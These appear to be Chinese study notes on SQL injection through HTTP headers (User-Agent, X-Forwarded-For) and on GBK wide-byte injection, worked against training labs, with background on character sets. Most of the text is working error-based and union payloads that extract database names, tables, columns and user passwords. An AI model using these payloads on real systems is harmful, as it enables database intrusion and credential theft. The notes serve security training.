head头部注入
原理
在传递参数时,利用请求头部参数传递参数,变成构造sql语句,然后发送执行sql语句
超全局变量是:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能强大。
常用的:
$_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。
案例
Payload:利用报错注入爆数据,一般用updatexml()函数连用
任务一:
观察源代码,写在user-agent后面
http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
①’or sleep(5),1)#:观察睡眠效果
②爆库
'or updatexml(1,concat(0x7e,(database()),0x7e),1),1)#
③爆数据表
’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1),1)#
④爆数据字段名
’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘user’),0x7e),1),1)#
⑤爆数据
’ or updatexml(1,substring(concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password,0x3a) from head_error.user),0x7e),1,32),1),1)#
补充:XFF攻击:X_FORWARDED_FOR
案例
任务三:
观察源码,自行添加(CLIENT-IP,X-FORWARDED-FOR)
http://injectx1.lab.aqlab.cn:81/Pass-09/index.php?action=show_code
①’or sleep(5),1)#:观察睡眠效果
②爆库
X-FORWARDED-FOR: ’ or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#
③爆数据表
’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1),1)#
④爆数据字段名
’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘user’),0x7e),1),1)#
⑤爆数据
’ or updatexml(1,substring(concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password,0x3a) from head_error.user),0x7e),1,32),1),1)#
宽字节注入
原理
①两个以上的字节就是宽字节。
②由于我们的单引号会被转义为‘ \' ’利用一个ascii码值大于128的字符与‘\’结合形成一个汉字和一个单引号
③利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击
者输入的引号起到闭合作用,以至于可以进行SQL注入。
案例
3:对sqli Less-37进行宽字节注入
①判断字段
uname=1%df’ order by 3 #&passwd=&submit=Submit
②判断输出位置
uname=1%df’ union select 1,2 #&passwd=&submit=Submit
③爆数据库
uname=1%df’ union select database(),2 #&passwd=&submit=Submit
④爆数据表
uname=1%df’ union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 #&passwd=&submit=Submit
⑤爆数据字段名
uname=1%df’ union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),2 #&passwd=&submit=Submit
⑥爆数据值
uname=1%df’ union select (select group_concat(username,password) from users),2 #&passwd=&submit=Submit
字符集
字符集也叫字符编码,是一种将符号转换为二进制数的映射关系。
几种常见的字符集:
ASCII 编码:单字节编码
latin1 编码:单字节编码
gbk 编码:使用一字节和双字节编码, 0x00-0x7F 范围内是一位,和 ASCII 保持一致。双字节的
第一字节范围是 0x81-0xFE UTF-8 编码:使用一至四字节编码, 0x00–0x7F 范围内是一位,和 ASCII 保持一致。其它字符用
二至四个字节变长表示。
每种编码方式的特点:
【1】ASCII 每个字符占据1bytes,用二进制表示的话最高位必须为0(扩展的ASCII不在考虑范围
内),因此ASCII只能表示128个字
【2】GB2312 最早一版的中文编码,每个字占据2bytes。由于要和ASCII兼容,那这2bytes最高位
不可以为0了(否则和ASCII会有冲突)。
【3】一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字
节(64-254),当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个
汉字